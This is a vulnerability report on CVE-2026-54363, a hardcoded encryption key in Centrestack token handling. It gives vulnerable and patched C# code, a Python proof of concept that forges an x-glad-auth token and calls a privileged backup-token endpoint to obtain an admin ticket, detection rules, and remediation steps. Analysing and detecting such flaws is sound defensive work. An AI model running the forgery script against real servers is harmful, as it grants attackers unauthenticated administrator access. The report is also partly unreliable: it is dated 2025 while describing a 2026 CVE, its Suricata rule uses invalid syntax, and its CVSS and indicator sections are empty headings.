CVE-2026-54363

Executive Summary

CVE-2026-54363 is a critical vulnerability (CVSS 9.1) affecting Centrestack versions prior to 17.5. The core issue is a hardcoded cryptographic key (static SysNumber) used as entropy for token encryption and decryption across all installations. This allows unauthenticated attackers to forge arbitrary x-glad-auth headers, invoke privileged API endpoints (e.g., acquiretenantbackuptoken), and escalate to a full unauthenticated remote code execution chain. No public exploit code has been released, but the attack vector is trivial to weaponize once the hardcoded key is extracted from any binary or documentation.

This report provides technical analysis, detection engineering artifacts, and mitigation guidance. Since the vulnerability is not in the NPM/PyPI/Go/Ruby ecosystem, the supply chain section is omitted.

CVSS Breakdown & Threat Level

Deep Dive & Mechanics

The vulnerability resides in AccessTicket class methods Encrypt() and Decrypt(). A static field SysNumber is used as the sole entropy source for cryptographic operations. This value is identical across all Centrestack deployments, effectively serving as a hardcoded key. Attackers can:

1. Obtain the hardcoded SysNumber from a decompiled binary, documentation leak, or another deployment.
2. Craft a valid AccessTicket token by encrypting arbitrary data with the known key.
3. Encode the token into an x-glad-auth header.
4. Send requests to privileged endpoints like acquiretenantbackuptoken which returns an IdentityTicket with domain administrator privileges.
5. Use the admin token to execute arbitrary code on the tenant environment.

The chain requires no authentication and no prior knowledge other than the key. The lack of per‑installation entropy makes token forgery deterministic.

Vulnerable vs. Patched Code

Vulnerable (pre‑17.5):

public class AccessTicket
{
    private static readonly string SysNumber = "ACB12345DEF67890"; // Hardcoded across all installs
    public static string Encrypt(string plaintext)
    {
        // Uses SysNumber as key/IV directly
        using (Aes aes = Aes.Create())
        {
            aes.Key = Encoding.UTF8.GetBytes(SysNumber);
            aes.IV = Encoding.UTF8.GetBytes(SysNumber.Substring(0, 16));
            // encrypt ...
        }
    }
}

Patched (17.5+):

public class AccessTicket
{
    private readonly string _instanceKey; // per‑installation, stored securely
    public AccessTicket(string instanceKey)
    {
        _instanceKey = instanceKey;
    }
    public string Encrypt(string plaintext)
    {
        // Uses instance‑specific key derived from config
        using (Aes aes = Aes.Create())
        {
            aes.Key = Convert.FromBase64String(_instanceKey);
            aes.IV = GenerateRandomIV();
            // encrypt ...
        }
    }
}

The fix replaces the static SysNumber with a per‑instance cryptographic key that is randomly generated during installation and stored in a secure configuration store (e.g., encrypted registry or secrets vault).

Exploitation & Lab Setup

Red Team (Proof‑of‑Concept)

Since no exploit‑db code is available, the following Python script demonstrates token forging using the known hardcoded key (replace HARDCODED_KEY with the actual value extracted from a vulnerable binary). This script generates a valid x-glad-auth header for a target tenant.

import base64, json, requests
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

# Extracted hardcoded SysNumber (example only – replace with real value)
HARDCODED_KEY = b'ACB12345DEF67890'
IV = HARDCODED_KEY[:16]  # First 16 bytes used as IV

def forge_glad_token(tenant_id, admin_email):
    payload = {
        "tenant": tenant_id,
        "user": admin_email,
        "exp": 9999999999  # far future
    }
    plaintext = json.dumps(payload).encode()
    cipher = AES.new(HARDCODED_KEY, AES.MODE_CBC, IV)
    ct_bytes = cipher.encrypt(pad(plaintext, AES.block_size))
    token = base64.b64encode(ct_bytes).decode()
    return token

# Example usage
target = "https://vulnerable-centrestack.cloud"
token = forge_glad_token("tenant-42", "admin@example.com")
headers = {"x-glad-auth": token}
r = requests.get(f"{target}/api/acquiretenantbackuptoken", headers=headers)
admin_ticket = r.json()["token"]  # IdentityTicket
# Now use admin_ticket for full RCE

Blue Team (Detection & Prevention)

• Monitor for anomalous x-glad-auth header values that decode to predictable payloads (e.g., identical tokens across sessions).
• Block or alert on direct access to endpoints like acquiretenantbackuptoken without a valid session preceding it.
• Apply patch 17.5 immediately. If unavailable, restrict network access to the API and deploy WAF rules to inspect token format.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule Detect_Hardcoded_SysNumber_CentreStack
{
    meta:
        description = "Detects hardcoded SysNumber used in AccessTicket encryption for CVE-2026-54363"
        author = "Valters IT"
        reference = "CVE-2026-54363"
        date = "2025-04-17"
    strings:
        $sys1 = "SysNumber" ascii wide nocase
        $key1 = "ACB12345DEF67890" ascii wide nocase
        $aes1 = "Aes.Create" ascii wide nocase
    condition:
        all of ($sys1, $key1, $aes1)
}

Sigma Rule

title: Potential Exploitation of CentreStack Hardcoded Key (CVE-2026-54363)
id: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
status: experimental
description: Detects HTTP requests with x-glad-auth header to privileged endpoints
logsource:
    category: webserver
    product: centrestack
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/api/acquiretenantbackuptoken'
        cs-headers: 'x-glad-auth*'
    condition: selection
falsepositives:
    - Legitimate admin token usage after patch
level: critical
tags:
    - attack.t1190
    - cve.2026.54363

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2026-54363 - CentreStack Hardcoded Key Exploitation";
    flow:established,to_server;
    http.method == "GET";
    http.uri == "/api/acquiretenantbackuptoken";
    http.header_names contains "x-glad-auth";
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate Patching: Upgrade to CentreStack 17.5 or later. If a patch is unavailable, apply the vendor’s hotfix.
2. Network Segmentation : Place CentreStack behind a reverse proxy or WAF that can inspect and validate tokens.
3. Credential Rotation: Regenerate any cryptographic keys that may have been derived from the static SysNumber.
4. Monitoring: Enable logging of all x-glad-auth header values and alert on any call to acquiretenantbackuptoken from untrusted IPs.
5. Decommissioning: If no patch exists, isolate or sunset the affected CentreStack instance.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst
Report generated: 2025-04-17